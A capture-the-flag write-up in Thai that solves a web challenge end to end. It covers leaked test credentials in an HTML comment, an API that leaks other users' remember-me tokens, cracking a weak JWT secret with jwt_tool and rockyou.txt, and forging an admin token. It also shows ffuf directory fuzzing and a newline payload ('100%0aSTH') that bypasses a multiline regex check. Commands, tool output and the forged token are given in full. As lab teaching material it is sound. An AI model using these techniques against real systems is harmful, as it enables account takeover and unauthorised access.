Skip to content

Summary

เริ่มต้นจากการที่เราได้ credential test:test จาก comment ใน html ของหน้า index.php ซึ่งทำให้เรา login ด้วยสิทธิ user ได้ ซึ่งเราก็ได้พบ API endpoint เพิ่มเตืมจากไฟล์ javascript ที่อยู่ในหน้า page ทำให้เราสามารถเรียก endpoint ที่ List รายชื่อ user ในระบบออกมาได้ รวมถึงข้อมูลต่างๆ ของ user นั้นด้วย ซึ่งตัว secret key ที่ใช้ sign JWT ของ function remember me นั้น ใช้คำที่อยู่ใน rockyou.txt ทำให้เราสามารถ หาค่าของ secret key นั้นได้ เลยทำให้สามารถ impersonate เป็น user ที่มีสิทธิ admin ได้ และทำให้เข้าหน้า admin.php ได้ โดยในหน้านั้นเราสามารถ bypass input validation ด้วย newline หรือ linefeed character ได้ ทำให้ได้รับ flag ครบทั้งสอง flag

Let's start

Flag 1

โจทย์ให้เรามา 1 url นั่นก็คือ https://web1.ctf.p7z.pw ซึ่งพอเราไปที่เว็บดังกล่าวเนี่ย เราจะพบว่าเว็บมีแค่หน้า login เลย ซึ่งทำได้แค่ให้เรากรอก username, password และ สามารถ ติ้ก Remember Me ได้

ซึ่งปกติเวลาเราเจอหน้า login เนี่ย เราอาจจะลองพวก sql injection bypass หรือ พวก common / default credential ได้ แต่ในกรณีนี้เนี่ย ถ้าเราดูดีๆ จะพบว่ามี credential test:test ซ่อนอยู่ในคอมเม้น

พอเรา login ด้วย test:test ก็จะพบกับหน้าแสดงข้อมูลต่างๆ ของ user test ซึ่งก็ดูไม่มีอะไรมาก

โดย API ที่ทำการดึงข้อมูลมาแสดง คือเส้น /api.php?action=get_userinfo โดยจะสังเกตได้ว่าตัวแอพจะมี PHPSESSID ที่ทำตัวเป็น session ID และ remember_me ซึ่งเป็น JWT Token ที่ทำหน้าที่ไปขอ PHPSESSID ใหม้ได้ เมื่อ PHPSESSID หมดอายุ

ซึ่งดูจากรูปแบบของ API เราอาจจะพยายาม FUZZ หา action ที่อาจจะซ่อนอยู่ ที่อาจจะสามารถอัพเดทข้อมูลหรือยกสิทธิตัวเองได้ แต่อย่าลืม เรามา review source code ที่ได้มากันก่อนดีกว่าครับ

ซึ่งในตัว response ของหน้า userinfo.php ได้มี javascript file อยู่อันหนึงที่น่าสนใจอยู่

จากไฟล์ javascript นี้ เราจะได้ endpoint มาทั้งหมดสามอันก็คือ /api.php?action=get_userinfo, /api.php?action=get_userinfo&user=test และ /api.php?action=get_alluser

โดยจากสถานการณ์ตอนนี้เนี่ย เรามีแค่ user test อยู่อันเดียว Goal ของเราน่าจะต้องพยายามเป็น user อื่น เพราะฉะนั้นเราลองส่ง request ไปที่ /api.php?action=get_alluser เผื่อได้ list user ทั้งหมดออกมา

ซึ่งพบว่ามี user ชื่อ admin-uat อยู่ในระบบอีกคนหนึงครับ

แล้วเราจะไปเป็น admin-uat ได้ไงล่ะ 🤔

เราลองไปดูอีกเส้นดู /api.php?action=get_userinfo&user=test ซึ่งจากรูปแบบแล้วเราน่าจะเปลี่ยน test เป็น admin-uat ได้ เเล้วอาจจะได้ ข้อมูลของ user admin-uat ก็เป็นได้

ซึ่งพบว่าได้ข้อมูลของ admin-uat จริงๆ ซึ่งสิ่งที่น่าสนใจคือ เราได้ remember_me_token ของ admin-uat ด้วย

และอย่าลืมว่า remember_me เป็น JWT ที่มี payload ข้างในเป็น remember_me_token

เพราะฉะนั้นถ้า JWT ไม่ได้มีการเช็ค signature หรือสามารถเปลี่ยน algorithm ที่ JWT ใช้เป็น none ได้ หรือใช้ secret key ที่สามารถคาดเดาได้ง่ายก็ได้ ก็น่าจะทำให้เรา impersonate admin-uat ได้

สามารถดูศึกษาท่าโจมตีเพิ่มเติมได้ที่ JWT attacks | Web Security Academy

ซึ่งจะผมจะใช้ tool ที่ชื่อว่า jwt_tool ในการทำการ test case ต่างๆ ครับ โดยเริ่มจากลองเช็คว่า ตัวแอพใช้ secret key ที่อยู่ใน rockyou.txt หรือเปล่า

bash
sudo python3 jwt_tool.py 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6ImI4MTk0M2JhLWQxYzUtNDk1YS04NDI3LTQ3MTFjMzkyNTZiZiJ9.Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8' -C -d /usr/share/wordlists/rockyou.txt

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.7                \______|             @ticarpi

Original JWT:

[*] Tested 1 million passwords so far
[*] Tested 2 million passwords so far
[*] Tested 3 million passwords so far
[*] Tested 4 million passwords so far
[*] Tested 5 million passwords so far
[*] Tested 6 million passwords so far
[*] Tested 7 million passwords so far
[*] Tested 8 million passwords so far
[*] Tested 9 million passwords so far
[*] Tested 10 million passwords so far
[*] Tested 11 million passwords so far
[*] Tested 12 million passwords so far
[*] Tested 13 million passwords so far
[*] Tested 14 million passwords so far
[+] "bobcats" is the CORRECT key!

สารภาพเลยว่าตอนแรก ดูเร็วๆ นึกว่า secret key คือ bobcats แล้วก็ติดอยู่นานมากว่า ไปทางไหนต่อดี ทำไมทำนู้นนี่ไม่ได้ ...

สรุป secret key คือ "bobcats" ไม่ใช่ bobcats 555555

ต่อๆ เราก็ทำการ tamper ค่าของ token ให้เป็นของ admin-uat

bash
sudo python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6ImI4MTk0M2JhLWQxYzUtNDk1YS04NDI3LTQ3MTFjMzkyNTZiZiJ9.Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8 -T -S hs256 -p ""bobcats""

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.7                \______|             @ticarpi

Original JWT:


====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================

Token header values:
[1] alg = "HS256"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] token = "b81943ba-d1c5-495a-8427-4711c39256bf"
[2] *ADD A VALUE*
[3] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 1

Current value of token is: b81943ba-d1c5-495a-8427-4711c39256bf
Please enter new value and hit ENTER
> 73eb7063-f8c3-4e50-bea2-07c05681aa92
[1] token = "73eb7063-f8c3-4e50-bea2-07c05681aa92"
[2] *ADD A VALUE*
[3] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0
jwttool_e17959cc86302c5da52a636ecbb9a23f - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6IjczZWI3MDYzLWY4YzMtNGU1MC1iZWEyLTA3YzA1NjgxYWE5MiJ9.IFc2uZiX_3x1ihXgRaANOPvmySpQzFz_wMD0up8Ny0I

จากนั้นวิธี impersonate ง่ายๆ คือ เราเปลี่ยนค่า remeber_me เป็นค่าใหม่ แล้วก็ลบ PHPSESSID ออกไป จากนั้นกด refresh 1 รอบ

เราก็จะได้เป็น admin-uat แล้ววว

ซึ่งปกติ admin เขาก็ ต้องมีสิทธิมากกว่า หรือสามารถเข้าหน้าได้มากกว่า user ธรรมดา เพราะฉะนั้น เราจะมา FUZZ ตัว page กันด้วย tool ที่ชื่อ ffuf

จะเห็นได้ว่ามี admin.php และ db.php ที่เด่นออกมาเลย

bash
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -e .php -u 'https://web1.ctf.p7z.pw/FUZZ' -ic -c -t 5

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://web1.ctf.p7z.pw/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Extensions       : .php
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 5
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 3775, Words: 755, Lines: 99, Duration: 91ms]
index.php               [Status: 200, Size: 3775, Words: 755, Lines: 99, Duration: 96ms]
admin.php               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 43ms] 
db.php                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 45ms]
api.php                 [Status: 200, Size: 24, Words: 1, Lines: 1, Duration: 77ms]
logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 42ms]

เมื่อ browse ไปที่ db.php เนี่ยไม่เจออะไรเลย แต่ admin.php มี page ที่เหมือนใช้สำหรับพิมพ์เงินออกมาครับ

ซึ่งในหน้านี้ก็มี flag แรกของเราอยู่ครับ

Flag 2

เมื่อดูที่ response ที่ return กลับมาก็จะเห็นได้ทันทีว่ามี logic ในการ validate input ซ่อนไว้อยู่ใน comment ครับ

จาก code จะเห็นได้ว่าเราต้อง ใส่ค่า amount ที่ผ่าน การ validateNumber และ ต้องมี คำว่า STH อยู่ในนั้นด้วย ถึงจะได้ flag ที่สองออกมา

ซึ่งเมื่อดูโค้ดแล้ว ใน validateNumber มีการเขียนที่แปลกๆ อยู่

js
function validateNumber($input) {
    if (preg_match('/^[0-9]+$/m', $input)) {
        return true;
    }
    return false;
}

$amount = $_POST['amount'] ?? '';
[...]

if(validateNumber($amount) && strpos($amount, 'STH') ){
    $outputMessage = "Printing $amount $denom ... Completed!<br>";
    $outputMessage .= "Serial Number: <strong>".$_ENV['FLAG2']."</strong>";

}else{
    $outputMessage = 'We need a number, but not a number';
}

ซึ่งใน function validateNumber ตัว regex จะอธิบายง่ายได้ว่า

  • ^ เป็นจุดเริ่ม
  • $ เป็นจุดจบ
  • [0-9]+ ต้องประกอบด้วย 0 - 9 เท่านั้น แต่ /m ทำให้การเช็คว่า string นี้ประกอบด้วย 0 - 9 เท่านั้นไหม เช็ครายบรรทัดครับ

ทำให้ input ข้างล่างจะ validate ผ่านเพราะ 100 ผ่านเงื่อนไขของ regex แล้ว และทำให้ preg_match return true โดยไม่สนใจบรรทัดที่สองเลย

100
STH

เท่านี้ payload ของเราก็จะเป็น

100%0aSTH

จากนั้น เราแค่ทำการ intercepted ตัว request แล้วเปลี่ยนค่า amount เป็น payload ของเรา

flag ที่สองก็จะแสดงในหน้า web แล้วครับ